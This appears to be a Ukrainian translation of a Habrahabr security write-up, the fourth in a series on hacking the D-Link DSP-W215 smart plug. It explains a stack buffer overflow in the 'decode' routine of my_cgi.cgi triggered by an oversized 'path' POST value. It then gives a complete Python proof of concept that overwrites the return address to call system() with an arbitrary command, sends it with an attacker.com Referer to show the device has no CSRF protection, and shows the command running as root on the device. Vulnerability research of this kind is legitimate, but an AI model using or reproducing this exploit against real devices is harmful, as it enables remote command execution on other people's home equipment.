зламувати D-Link DSP-W215 Smart Plug: Знову, знову, ще раз

       image
 
 У попередніх серіях:
 
     
  1. зламувати D-Link DSP-W215 Smart Plug
  2.  
  3. зламувати D-Link DSP-W215 Smart Plug. Знову
  4.  
  5. зламувати D-Link DSP-W215 Smart Plug. Знову і знову
  6.  
 
До цих пір, всі знайдені в DSP-W215 уразливості могли бути виконані тільки з LAN, ну, якщо ви не дурень і не відкрили доступ до Smart Plug з інтернету.
Типовим способом атаки пристроїв з вбудованим веб-сервером, доступним тільки з внутрішньої мережі, типу того, що у DSP-W215 — через CSRF. Проблема цього методу в тому, що будь-який веб-браузер буде кодувати (urlencode) передані дані, наприклад, адреса повернення, але до цього моменту ми використовували уразливості, що не декодують (urldecode) наші дані (вразливість у функції replace_special_char, яку ми експлуатували в попередній статті, декодує тільки обмежений набір ASCII-символів).
 
Бінарний файл my_cgi.cgi, який є основною вразливою метою, містить функцію-декодировщик «decode», яка декодує POST-дані. Цієї функції передається два аргументи: покажчик на закодовані дані і покажчик на буфер, де зберігаються розкодувати дані:
 
void decode(char *encode_buf, char *decode_buf);

 
Ця функція просто проходить циклом по всіх байтам в encode_buf і розкодує або копіює їх в decode_buf:
 image
 
Грубо кажучи, її код виглядає якось так:
 
void decode(char *encode_buf, char *decode_buf)
{
    int encoded_byte_len;
    char *encode_buf_end_ptr = encode_buf + strlen(encode_buf);
 
    // Loop through all bytes in encode_buf, without knowing how big decode_buf is
    while(encoded_data < encode_buf_end_ptr)
    {
        /*
         * ...
         * Do Decoding of the next byte in encoded_data.
         * encoded_byte_len = number of bytes processed in this loop iteration (1 or 3).
         * ...
         */
 
        decode_buf[0] = decoded_byte;
        decode_buf++;
        encoded_data += encoded_byte_len;
    }
}

 
Якщо викликає функції не подбала про виділення буфера розміру достатнього, щоб зберегти всі декодовані дані, то цей буфер (decode_buf) може бути переповнений великим POST-параметром.
У my_cgi.cgi є тільки одна функція, з якої викликається функція декодування — get_input_entries:
 image
 
Як бачимо, функція «decode» викликається тільки в тому випадку, якщо ім'я POST-параметра «path», а з memset можна побачити, що буферу decode_buf виділяється всього 0 × 400 на стеку:
 
char decode_buf[0x400];
 
if(strcmp(entries[i]->name, "path") == 0)
{
    // Decode path POST value into the fixed-size decode_buf
    decode(entries[i]->value, decode_buf);
    strcpy(entries[i]->value, decode_buf);
}
 
replace_special_char(entries[i]->value);

 
Це означає, що в разі, якщо ми передамо в POST-запиті значення «path» розміром більше, ніж 0 × 400 байт, відбудеться переповнення буфера decode_buf на стеку всередині функції get_input_entries. І, що більш цікаво, у нас не буде «поганих» байт, т.к. функція «decode» всі їх розкодує (наприклад, перетворить% 00 в NULL-байт) перед копіюванням назад на стек.
 
Однак, нам потрібно проявити деяку обережність при складанні експлоїта, щоб не викликати переповнення буфера у функції replace_special_char, яка викликається перед поверненням з get_input_entries.
 
На щастя, дані, які передаються до replace_special_char попередньо проходять strcpy з decode_buf, тому, якщо ми поставимо NULL-байт десь ближче до початку POST-запиту, функції replace_special_char передасться рядок дуже маленькою довжини (все те, що було до першого NULL- байта) замість усього POST-запиту, який був розкодувати на стек.
 
POST-значення «path», довжиною більше 1060 байт, переповнює все в стекового фреймі функції get_input_entries, включаючи адресу повернення:
 image
 
А через те, що у нас немає «поганих» байт, ми можемо використовувати адресу повернення 0x00405CEC, який ми використовували в попередніх експлойтів, щоб викликати system () з покажчиком на стек ($ sp +0 × 28):
 image
 
Ось невеликий код PoC на Python, який переповнює функцію get_input_entries, замінює адресу повернення на виклик system () за адресою 0x00405CEC і запускає команду на стеку по зсуву $ sp +0 × 28:
 
import sys
import urllib
import urllib2
 
try:
    target = sys.argv[1]
    command = sys.argv[2]
except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)
 
url = "http://%s/common/info.cgi" % target
 
buf  = "\x00"               # Start with a NULL byte to prevent crashing in replace_special_chars
buf += "D" * (1060-1)       # Stack filler
buf += "\x00\x40\x5C\xEC"   # $ra, address of call to system()
buf += "E" * 0x28           # Stack filler
buf += command              # Command to execute
buf += "\x00"               # NULL terminate the command, for good measure
 
# URL encode the path POST value
post_data = "path=" + urllib.quote_plus(buf).replace('+', '%20')
 
# Set a referer to show that there are no CSRF protections
headers = {'Referer' : 'http://www.attacker.com/exploit.html'}
 
req = urllib2.Request(url, post_data, headers)
print urllib2.urlopen(req).read()

 
Працює вона, звичайно ж, як і годиться:
 
$ ./exploit.py 192.168.0.60 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 bin
drwxrwxr-x    3 1000     1000         4096 May 22 18:03 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 May 16 09:01 lib
drwxr-xr-x    3 1000     1000         4096 May 16 09:01 libexec
lrwxrwxrwx    1 1000     1000           11 May 17 15:20 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    6 1000     1000         4096 May 17 15:15 mnt
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May 17 17:23 root
drwxr-xr-x    2 1000     1000         4096 May 16 09:01 sbin
drwxrwxrwx    3 1000     1000         4096 May 24 23:26 tmp
drwxrwxr-x    7 1000     1000         4096 May 16 09:01 usr
drwxrwxr-x    3 1000     1000         4096 May 17 15:21 var
-rw-r--r--    1 1000     1000           17 May 16 09:01 version
drwxrwxr-x    6 1000     1000         4096 May 22 17:15 www

  
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.